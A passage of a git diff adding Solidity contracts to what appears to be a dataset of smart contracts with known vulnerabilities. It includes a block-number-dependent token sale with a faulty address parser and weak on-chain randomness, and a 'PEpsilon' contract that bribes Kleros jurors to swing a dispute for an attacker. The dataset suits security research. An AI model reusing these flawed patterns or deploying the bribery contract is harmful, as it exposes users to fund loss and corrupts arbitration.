memory dynargs = new bytes[](5); + dynargs[0] = args[0]; + dynargs[1] = args[1]; + dynargs[2] = args[2]; + dynargs[3] = args[3]; + dynargs[4] = args[4]; + return oraclize_query(datasource, dynargs, gaslimit); + } + + function oraclize_cbAddress() oraclizeAPI internal returns (address){ + return oraclize.cbAddress(); + } + function oraclize_setProof(byte proofP) oraclizeAPI internal { + return oraclize.setProofType(proofP); + } + function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { + return oraclize.setCustomGasPrice(gasPrice); + } + + function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ + return oraclize.randomDS_getSessionPubKeyHash(); + } + + function getCodeSize(address _addr) constant internal returns(uint _size) { + assembly { + _size := extcodesize(_addr) + } + } + + function parseAddr(string _a) internal pure returns (address){ + bytes memory tmp = bytes(_a); + uint160 iaddr = 0; + uint160 b1; + uint160 b2; + for (uint i=2; i<2+2*20; i+=2){ + iaddr *= 256; + b1 = uint160(tmp[i]); + b2 = uint160(tmp[i+1]); + if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; + else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; + else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; + if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; + else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; + else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; + iaddr += (b1*16+b2); + } + return address(iaddr); + } + + function strCompare(string _a, string _b) internal pure returns (int) { + bytes memory a = bytes(_a); + bytes memory b = bytes(_b); + uint minLength = a.length; + if (b.length < minLength) minLength = b.length; + for (uint i = 0; i < minLength; i ++) + if (a[i] < b[i]) + return -1; + else if (a[i] > b[i]) + return 1; + if (a.length < b.length) + return -1; + else if (a.length > b.length) + return 1; + else + return 0; + } + + function indexOf(string _haystack, string _needle) internal pure returns (int) { + bytes memory h = bytes(_haystack); + bytes memory n = bytes(_needle); + if(h.length < 1 || n.length < 1 || (n.length > h.length)) + return -1; + else if(h.length > (2**128 -1)) + return -1; + else + { + uint subindex = 0; + for (uint i = 0; i < h.length; i ++) + { + if (h[i] == n[0]) + { + subindex = 1; + while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) + { + subindex++; + } + if(subindex == n.length) + return int(i); + } + } + return -1; + } + } + + function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { + bytes memory _ba = bytes(_a); + bytes memory _bb = bytes(_b); + bytes memory _bc = bytes(_c); + bytes memory _bd = bytes(_d); + bytes memory _be = bytes(_e); + string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); + bytes memory babcde = bytes(abcde); + uint k = 0; + for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; + for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; + for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; + for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; + for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; + return string(babcde); + } + + function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { + return strConcat(_a, _b, _c, _d, ""); + } + + function strConcat(string _a, string _b, string _c) internal pure returns (string) { + return strConcat(_a, _b, _c, "", ""); + } + + function strConcat(string _a, string _b) internal pure returns (string) { + return strConcat(_a, _b, "", "", ""); + } + + + function parseInt(string _a) internal pure returns (uint) { + return parseInt(_a, 0); + } + + + function parseInt(string _a, uint _b) internal pure returns (uint) { + bytes memory bresult = bytes(_a); + uint mint = 0; + bool decimals = false; + for (uint i=0; i= 48)&&(bresult[i] <= 57)){ + if (decimals){ + if (_b == 0) break; + else _b--; + } + mint *= 10; + mint += uint(bresult[i]) - 48; + } else if (bresult[i] == 46) decimals = true; + } + if (_b > 0) mint *= 10**_b; + return mint; + } + + function uint2str(uint i) internal pure returns (string){ + if (i == 0) return "0"; + uint j = i; + uint len; + while (j != 0){ + len++; + j /= 10; + } + bytes memory bstr = new bytes(len); + uint k = len - 1; + while (i != 0){ + bstr[k--] = byte(48 + i % 10); + i /= 10; + } + return string(bstr); + } + + function stra2cbor(string[] arr) internal pure returns (bytes) { + uint arrlen = arr.length; + + + uint outputlen = 0; + bytes[] memory elemArray = new bytes[](arrlen); + for (uint i = 0; i < arrlen; i++) { + elemArray[i] = (bytes(arr[i])); + outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; + } + uint ctr = 0; + uint cborlen = arrlen + 0x80; + outputlen += byte(cborlen).length; + bytes memory res = new bytes(outputlen); + + while (byte(cborlen).length > ctr) { + res[ctr] = byte(cborlen)[ctr]; + ctr++; + } + for (i = 0; i < arrlen; i++) { + res[ctr] = 0x5F; + ctr++; + for (uint x = 0; x < elemArray[i].length; x++) { + + if (x % 23 == 0) { + uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; + elemcborlen += 0x40; + uint lctr = ctr; + while (byte(elemcborlen).length > ctr - lctr) { + res[ctr] = byte(elemcborlen)[ctr - lctr]; + ctr++; + } + } + res[ctr] = elemArray[i][x]; + ctr++; + } + res[ctr] = 0xFF; + ctr++; + } + return res; + } + + function ba2cbor(bytes[] arr) internal pure returns (bytes) { + uint arrlen = arr.length; + + + uint outputlen = 0; + bytes[] memory elemArray = new bytes[](arrlen); + for (uint i = 0; i < arrlen; i++) { + elemArray[i] = (bytes(arr[i])); + outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; + } + uint ctr = 0; + uint cborlen = arrlen + 0x80; + outputlen += byte(cborlen).length; + bytes memory res = new bytes(outputlen); + + while (byte(cborlen).length > ctr) { + res[ctr] = byte(cborlen)[ctr]; + ctr++; + } + for (i = 0; i < arrlen; i++) { + res[ctr] = 0x5F; + ctr++; + for (uint x = 0; x < elemArray[i].length; x++) { + + if (x % 23 == 0) { + uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; + elemcborlen += 0x40; + uint lctr = ctr; + while (byte(elemcborlen).length > ctr - lctr) { + res[ctr] = byte(elemcborlen)[ctr - lctr]; + ctr++; + } + } + res[ctr] = elemArray[i][x]; + ctr++; + } + res[ctr] = 0xFF; + ctr++; + } + return res; + } + + + string oraclize_network_name; + function oraclize_setNetworkName(string _network_name) internal { + oraclize_network_name = _network_name; + } + + function oraclize_getNetworkName() internal view returns (string) { + return oraclize_network_name; + } + + function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ + require((_nbytes > 0) && (_nbytes <= 32)); + bytes memory nbytes = new bytes(1); + nbytes[0] = byte(_nbytes); + bytes memory unonce = new bytes(32); + bytes memory sessionKeyHash = new bytes(32); + bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); + assembly { + mstore(unonce, 0x20) + mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) + mstore(sessionKeyHash, 0x20) + mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) + } + bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; + bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit); + oraclize_randomDS_setCommitment(queryId, keccak256(bytes8(_delay), args[1], sha256(args[0]), args[2])); + return queryId; + } + + function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { + oraclize_randomDS_args[queryId] = commitment; + } + + mapping(bytes32=>bytes32) oraclize_randomDS_args; + mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; + + function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ + bool sigok; + address signer; + + bytes32 sigr; + bytes32 sigs; + + bytes memory sigr_ = new bytes(32); + uint offset = 4+(uint(dersig[3]) - 0x20); + sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); + bytes memory sigs_ = new bytes(32); + offset += 32 + 2; + sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); + + assembly { + sigr := mload(add(sigr_, 32)) + sigs := mload(add(sigs_, 32)) + } + + + (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); + if (address(keccak256(pubkey)) == signer) return true; + else { + (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); + return (address(keccak256(pubkey)) == signer); + } + } + + function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { + bool sigok; + + + bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); + copyBytes(proof, sig2offset, sig2.length, sig2, 0); + + bytes memory appkey1_pubkey = new bytes(64); + copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); + + bytes memory tosign2 = new bytes(1+65+32); + tosign2[0] = byte(1); + copyBytes(proof, sig2offset-65, 65, tosign2, 1); + bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; + copyBytes(CODEHASH, 0, 32, tosign2, 1+65); + sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); + + if (sigok == false) return false; + + + + bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; + + bytes memory tosign3 = new bytes(1+65); + tosign3[0] = 0xFE; + copyBytes(proof, 3, 65, tosign3, 1); + + bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); + copyBytes(proof, 3+65, sig3.length, sig3, 0); + + sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); + + return sigok; + } + + modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { + + require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); + + bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); + require(proofVerified); + + _; + } + + function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ + + if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; + + bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); + if (proofVerified == false) return 2; + + return 0; + } + + function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ + bool match_ = true; + + + for (uint256 i=0; i< n_random_bytes; i++) { + if (content[i] != prefix[i]) match_ = false; + } + + return match_; + } + + function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ + + + uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; + bytes memory keyhash = new bytes(32); + copyBytes(proof, ledgerProofLength, 32, keyhash, 0); + if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; + + bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); + copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); + + + if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; + + + + bytes memory commitmentSlice1 = new bytes(8+1+32); + copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); + + bytes memory sessionPubkey = new bytes(64); + uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; + copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); + + bytes32 sessionPubkeyHash = sha256(sessionPubkey); + if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ + delete oraclize_randomDS_args[queryId]; + } else return false; + + + + bytes memory tosign1 = new bytes(32+8+1+32); + copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); + if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; + + + if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ + oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); + } + + return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; + } + + + function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { + uint minLength = length + toOffset; + + + require(to.length >= minLength); + + + uint i = 32 + fromOffset; + uint j = 32 + toOffset; + + while (i < (32 + fromOffset + length)) { + assembly { + let tmp := mload(add(from, i)) + mstore(add(to, j), tmp) + } + i += 32; + j += 32; + } + + return to; + } + + + + function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { + + + + + + + + bool ret; + address addr; + + assembly { + let size := mload(0x40) + mstore(size, hash) + mstore(add(size, 32), v) + mstore(add(size, 64), r) + mstore(add(size, 96), s) + + + + ret := call(3000, 1, 0, size, 128, size, 32) + addr := mload(size) + } + + return (ret, addr); + } + + + function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { + bytes32 r; + bytes32 s; + uint8 v; + + if (sig.length != 65) + return (false, 0); + + + + + assembly { + r := mload(add(sig, 32)) + s := mload(add(sig, 64)) + + + + + v := byte(0, mload(add(sig, 96))) + + + + + + } + + + + + + + if (v < 27) + v += 27; + + if (v != 27 && v != 28) + return (false, 0); + + return safer_ecrecover(hash, v, r, s); + } + +} + + contract SafeMath { + + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + + } + + contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); + } + + contract StandardToken is Token { + uint256 public fundingEndBlock; + + function transfer(address _to, uint256 _value) returns (bool success) { + require (block.number > fundingEndBlock); + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + require (block.number > fundingEndBlock); + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + require (block.number > fundingEndBlock); + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; + } + + contract CryptoCongress is StandardToken, SafeMath, usingOraclize { + mapping(bytes => uint256) initialAllotments; + mapping(bytes32 => bytes) validQueryIds; + + string public constant name = "CryptoCongress"; + string public constant symbol = "CC"; + uint256 public constant decimals = 18; + string public constant requiredPrefix = "CryptoCongress "; + string public constant a = "html(https://twitter.com/"; + string public constant b = "/status/"; + string public constant c = ").xpath(//*[contains(@class, 'TweetTextSize--jumbo')]/text())"; + + address public ethFundDeposit; + + + uint256 public fundingStartBlock; + uint256 public totalSupply = 0; + uint256 public totalSupplyFromCrowdsale = 0; + + uint256 public constant tokenExchangeRate = 30; + uint256 public constant tokenCreationCap = 131583 * (10**3) * 10**decimals; + + event InitialAllotmentRecorded(string username, uint256 initialAllotment); + + + event newOraclizeQuery(string url); + event newOraclizeCallback(string result, bytes proof); + + event InitialAllotmentClaimed(bytes username); + event Proposal(string ID, string description, string data); + event Vote(string proposalID, string vote, string data); + + + function CryptoCongress ( + address _ethFundDeposit, + uint256 _fundingStartBlock, + uint256 _fundingEndBlock) payable + { + ethFundDeposit = _ethFundDeposit; + fundingStartBlock = _fundingStartBlock; + fundingEndBlock = _fundingEndBlock; + + + oraclize_setProof(proofType_TLSNotary); + } + + function createInitialAllotment( + string username, + uint256 initialAllotment) + { + require (msg.sender == ethFundDeposit); + require (block.number < fundingStartBlock); + initialAllotments[bytes(username)] = initialAllotment; + InitialAllotmentRecorded(username, initialAllotment); + } + + function claimInitialAllotment(string twitterStatusID, string username) payable { + bytes memory usernameAsBytes = bytes(username); + require (usernameAsBytes.length < 16); + require (msg.value > 4000000000000000); + require (block.number > fundingStartBlock); + require (block.number < fundingEndBlock); + require (initialAllotments[usernameAsBytes] > 0); + + string memory url = usingOraclize.strConcat(a,username,b,twitterStatusID,c); + + newOraclizeQuery(url); + bytes32 queryId = oraclize_query("URL",url); + validQueryIds[queryId] = usernameAsBytes; + + } + + function __callback(bytes32 myid, string result, bytes proof) { + + require (msg.sender == oraclize_cbAddress()); + newOraclizeCallback(result, proof); + + + require (initialAllotments[validQueryIds[myid]] > 0); + + + require (block.number > fundingStartBlock); + require (block.number < fundingEndBlock); + + bytes memory resultBytes = bytes(result); + + + + require (resultBytes.length == 57); + + + + require (resultBytes[0] == 0x43); + require (resultBytes[1] == 0x72); + require (resultBytes[2] == 0x79); + require (resultBytes[3] == 0x70); + require (resultBytes[4] == 0x74); + require (resultBytes[5] == 0x6f); + require (resultBytes[6] == 0x43); + require (resultBytes[7] == 0x6f); + require (resultBytes[8] == 0x6e); + require (resultBytes[9] == 0x67); + require (resultBytes[10] == 0x72); + require (resultBytes[11] == 0x65); + require (resultBytes[12] == 0x73); + require (resultBytes[13] == 0x73); + require (resultBytes[14] == 0x20); + + + + require (resultBytes[15] == 0x30); + require (resultBytes[16] == 0x78); + + uint addrUint = 0; + + for (uint i = resultBytes.length-1; i+1 > 15; i--) { + uint d = uint(resultBytes[i]); + uint to_inc = d * ( 15 ** ((resultBytes.length - i-1) * 2)); + addrUint += to_inc; + } + + address addr = address(addrUint); + + uint256 tokenAllotment = initialAllotments[validQueryIds[myid]]; + uint256 checkedSupply = safeAdd(totalSupply, tokenAllotment); + require (tokenCreationCap > checkedSupply); + totalSupply = checkedSupply; + + initialAllotments[validQueryIds[myid]] = 0; + balances[addr] += tokenAllotment; + + + InitialAllotmentClaimed(validQueryIds[myid]); + delete validQueryIds[myid]; + + + Transfer(0x0,addr,tokenAllotment); + + } + + + + function buyTokens(address beneficiary) public payable { + require(beneficiary != address(0)); + require(msg.value != 0); + require (block.number > fundingStartBlock); + require (block.number < fundingEndBlock); + + uint256 tokens = safeMult(msg.value, tokenExchangeRate); + + uint256 checkedTotalSupply = safeAdd(totalSupply, tokens); + uint256 checkedCrowdsaleSupply = safeAdd(totalSupplyFromCrowdsale, tokens); + + + require (tokenCreationCap > checkedTotalSupply); + + + require (safeMult(checkedCrowdsaleSupply, 3) < totalSupply); + + totalSupply = checkedTotalSupply; + totalSupplyFromCrowdsale = checkedCrowdsaleSupply; + + balances[msg.sender] += tokens; + + + + Transfer(0x0, beneficiary, tokens); + + } + + + function secureTransfer(uint256 amount) external { + require (msg.sender == ethFundDeposit); + assert (ethFundDeposit.send(amount)); + } + + function propose(string _ID, string _description, string _data) { + require(bytes(_ID).length < 281 && bytes(_description).length < 281 && bytes(_data).length < 281); + require (balances[msg.sender] > 70000000000000000000000); + Proposal(_ID, _description, _data); + } + + function vote(string _proposalID, string _vote, string _data) { + require(bytes(_proposalID).length < 281 && bytes(_vote).length < 281 && bytes(_data).length < 281); + require (balances[msg.sender] > 50000000000000000000000); + Vote(_proposalID, _vote, _data); + } + + + function () payable { + buyTokens(msg.sender); + } + + } \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/415.sol b/smart_contract_dataset/block number dependency/415.sol new file mode 100644 index 0000000000000000000000000000000000000000..c43b13c2fd0deb8c4fb0472efcbeaec7f3e076e9 --- /dev/null +++ b/smart_contract_dataset/block number dependency/415.sol @@ -0,0 +1,1530 @@ + +contract PEpsilon { + Pinakion public pinakion; + Kleros public court; + + uint public balance; + uint public disputeID; + uint public desiredOutcome; + uint public epsilon; + bool public settled; + uint public maxAppeals; + mapping (address => uint) public withdraw; + + address public attacker; + uint public remainingWithdraw; + + modifier onlyBy(address _account) {require(msg.sender == _account); _;} + + event AmountShift(uint val, uint epsilon ,address juror); + event Log(uint val, address addr, string message); + + + constructor(Pinakion _pinakion, Kleros _kleros, uint _disputeID, uint _desiredOutcome, uint _epsilon, uint _maxAppeals) public { + pinakion = _pinakion; + court = _kleros; + disputeID = _disputeID; + desiredOutcome = _desiredOutcome; + epsilon = _epsilon; + attacker = msg.sender; + maxAppeals = _maxAppeals; + } + + + function receiveApproval(address _from, uint _amount, address, bytes) public onlyBy(pinakion) { + require(pinakion.transferFrom(_from, this, _amount)); + + balance += _amount; + } + + + function withdrawJuror() { + withdrawSelect(msg.sender); + } + + + function withdrawSelect(address _juror) { + uint amount = withdraw[_juror]; + withdraw[_juror] = 0; + + balance = sub(balance, amount); + remainingWithdraw = sub(remainingWithdraw, amount); + + + require(pinakion.transfer(_juror, amount)); + } + + + function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { + assert(_b <= _a); + return _a - _b; + } + + + function withdrawAttacker(){ + require(settled); + + if (balance > remainingWithdraw) { + + uint amount = balance - remainingWithdraw; + balance = remainingWithdraw; + + require(pinakion.transfer(attacker, amount)); + } + } + + + function settle() public { + require(court.disputeStatus(disputeID) == Arbitrator.DisputeStatus.Solved); + require(!settled); + + settled = true; + + + var (, , appeals, choices, , , ,) = court.disputes(disputeID); + + if (court.currentRuling(disputeID) != desiredOutcome){ + + uint amountShift = court.getStakePerDraw(); + uint winningChoice = court.getWinningChoice(disputeID, appeals); + + + for (uint i=0; i <= (appeals > maxAppeals ? maxAppeals : appeals); i++){ + + + + if (winningChoice != 0){ + + + uint votesLen = 0; + for (uint c = 0; c <= choices; c++) { + votesLen += court.getVoteCount(disputeID, i, c); + } + + emit Log(amountShift, 0x0 ,"stakePerDraw"); + emit Log(votesLen, 0x0, "votesLen"); + + uint totalToRedistribute = 0; + uint nbCoherent = 0; + + + for (uint j=0; j < votesLen; j++){ + uint voteRuling = court.getVoteRuling(disputeID, i, j); + address voteAccount = court.getVoteAccount(disputeID, i, j); + + emit Log(voteRuling, voteAccount, "voted"); + + if (voteRuling != winningChoice){ + totalToRedistribute += amountShift; + + if (voteRuling == desiredOutcome){ + + withdraw[voteAccount] += amountShift + epsilon; + remainingWithdraw += amountShift + epsilon; + emit AmountShift(amountShift, epsilon, voteAccount); + } + } else { + nbCoherent++; + } + } + + uint toRedistribute = (totalToRedistribute - amountShift) / (nbCoherent + 1); + + + for (j = 0; j < votesLen; j++){ + voteRuling = court.getVoteRuling(disputeID, i, j); + voteAccount = court.getVoteAccount(disputeID, i, j); + + if (voteRuling == desiredOutcome){ + + withdraw[voteAccount] += toRedistribute; + remainingWithdraw += toRedistribute; + emit AmountShift(toRedistribute, 0, voteAccount); + } + } + } + } + } + } +} + + + + +pragma solidity ^0.4.24; + + +contract ApproveAndCallFallBack { + function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; +} + + +contract TokenController { + + + + function proxyPayment(address _owner) public payable returns(bool); + + + + + + + + function onTransfer(address _from, address _to, uint _amount) public returns(bool); + + + + + + + + function onApprove(address _owner, address _spender, uint _amount) public + returns(bool); +} + +contract Controlled { + + + modifier onlyController { require(msg.sender == controller); _; } + + address public controller; + + function Controlled() public { controller = msg.sender;} + + + + function changeController(address _newController) public onlyController { + controller = _newController; + } +} + + + + +contract Pinakion is Controlled { + + string public name; + uint8 public decimals; + string public symbol; + string public version = 'MMT_0.2'; + + + + + + struct Checkpoint { + + + uint128 fromBlock; + + + uint128 value; + } + + + + Pinakion public parentToken; + + + + uint public parentSnapShotBlock; + + + uint public creationBlock; + + + + + mapping (address => Checkpoint[]) balances; + + + mapping (address => mapping (address => uint256)) allowed; + + + Checkpoint[] totalSupplyHistory; + + + bool public transfersEnabled; + + + MiniMeTokenFactory public tokenFactory; + + + + + + + + + + + + + + + + + + + function Pinakion( + address _tokenFactory, + address _parentToken, + uint _parentSnapShotBlock, + string _tokenName, + uint8 _decimalUnits, + string _tokenSymbol, + bool _transfersEnabled + ) public { + tokenFactory = MiniMeTokenFactory(_tokenFactory); + name = _tokenName; + decimals = _decimalUnits; + symbol = _tokenSymbol; + parentToken = Pinakion(_parentToken); + parentSnapShotBlock = _parentSnapShotBlock; + transfersEnabled = _transfersEnabled; + creationBlock = block.number; + } + + + + + + + + + + + function transfer(address _to, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + doTransfer(msg.sender, _to, _amount); + return true; + } + + + + + + + + function transferFrom(address _from, address _to, uint256 _amount + ) public returns (bool success) { + + + + + + if (msg.sender != controller) { + require(transfersEnabled); + + + require(allowed[_from][msg.sender] >= _amount); + allowed[_from][msg.sender] -= _amount; + } + doTransfer(_from, _to, _amount); + return true; + } + + + + + + + + function doTransfer(address _from, address _to, uint _amount + ) internal { + + if (_amount == 0) { + Transfer(_from, _to, _amount); + return; + } + + require(parentSnapShotBlock < block.number); + + + require((_to != 0) && (_to != address(this))); + + + + var previousBalanceFrom = balanceOfAt(_from, block.number); + + require(previousBalanceFrom >= _amount); + + + if (isContract(controller)) { + require(TokenController(controller).onTransfer(_from, _to, _amount)); + } + + + + updateValueAtNow(balances[_from], previousBalanceFrom - _amount); + + + + var previousBalanceTo = balanceOfAt(_to, block.number); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(balances[_to], previousBalanceTo + _amount); + + + Transfer(_from, _to, _amount); + + } + + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balanceOfAt(_owner, block.number); + } + + + + + + + function approve(address _spender, uint256 _amount) public returns (bool success) { + require(transfersEnabled); + + + if (isContract(controller)) { + require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); + } + + allowed[msg.sender][_spender] = _amount; + Approval(msg.sender, _spender, _amount); + return true; + } + + + + + + + function allowance(address _owner, address _spender + ) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + + + + + + + + function approveAndCall(address _spender, uint256 _amount, bytes _extraData + ) public returns (bool success) { + require(approve(_spender, _amount)); + + ApproveAndCallFallBack(_spender).receiveApproval( + msg.sender, + _amount, + this, + _extraData + ); + + return true; + } + + + + function totalSupply() public constant returns (uint) { + return totalSupplyAt(block.number); + } + + + + + + + + + + + function balanceOfAt(address _owner, uint _blockNumber) public constant + returns (uint) { + + + + + + + if ((balances[_owner].length == 0) + || (balances[_owner][0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); + } else { + + return 0; + } + + + } else { + return getValueAt(balances[_owner], _blockNumber); + } + } + + + + + function totalSupplyAt(uint _blockNumber) public constant returns(uint) { + + + + + + + if ((totalSupplyHistory.length == 0) + || (totalSupplyHistory[0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + + } else { + return getValueAt(totalSupplyHistory, _blockNumber); + } + } + + + + + + + + + + + + + + + + function createCloneToken( + string _cloneTokenName, + uint8 _cloneDecimalUnits, + string _cloneTokenSymbol, + uint _snapshotBlock, + bool _transfersEnabled + ) public returns(address) { + if (_snapshotBlock == 0) _snapshotBlock = block.number; + Pinakion cloneToken = tokenFactory.createCloneToken( + this, + _snapshotBlock, + _cloneTokenName, + _cloneDecimalUnits, + _cloneTokenSymbol, + _transfersEnabled + ); + + cloneToken.changeController(msg.sender); + + + NewCloneToken(address(cloneToken), _snapshotBlock); + return address(cloneToken); + } + + + + + + + + + + function generateTokens(address _owner, uint _amount + ) public onlyController returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply + _amount >= curTotalSupply); + uint previousBalanceTo = balanceOf(_owner); + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); + updateValueAtNow(balances[_owner], previousBalanceTo + _amount); + Transfer(0, _owner, _amount); + return true; + } + + + + + + + function destroyTokens(address _owner, uint _amount + ) onlyController public returns (bool) { + uint curTotalSupply = totalSupply(); + require(curTotalSupply >= _amount); + uint previousBalanceFrom = balanceOf(_owner); + require(previousBalanceFrom >= _amount); + updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); + updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); + Transfer(_owner, 0, _amount); + return true; + } + + + + + + + + + function enableTransfers(bool _transfersEnabled) public onlyController { + transfersEnabled = _transfersEnabled; + } + + + + + + + + + + function getValueAt(Checkpoint[] storage checkpoints, uint _block + ) constant internal returns (uint) { + if (checkpoints.length == 0) return 0; + + + if (_block >= checkpoints[checkpoints.length-1].fromBlock) + return checkpoints[checkpoints.length-1].value; + if (_block < checkpoints[0].fromBlock) return 0; + + + uint min = 0; + uint max = checkpoints.length-1; + while (max > min) { + uint mid = (max + min + 1)/ 2; + if (checkpoints[mid].fromBlock<=_block) { + min = mid; + } else { + max = mid-1; + } + } + return checkpoints[min].value; + } + + + + + + function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value + ) internal { + if ((checkpoints.length == 0) + || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { + Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; + newCheckPoint.fromBlock = uint128(block.number); + 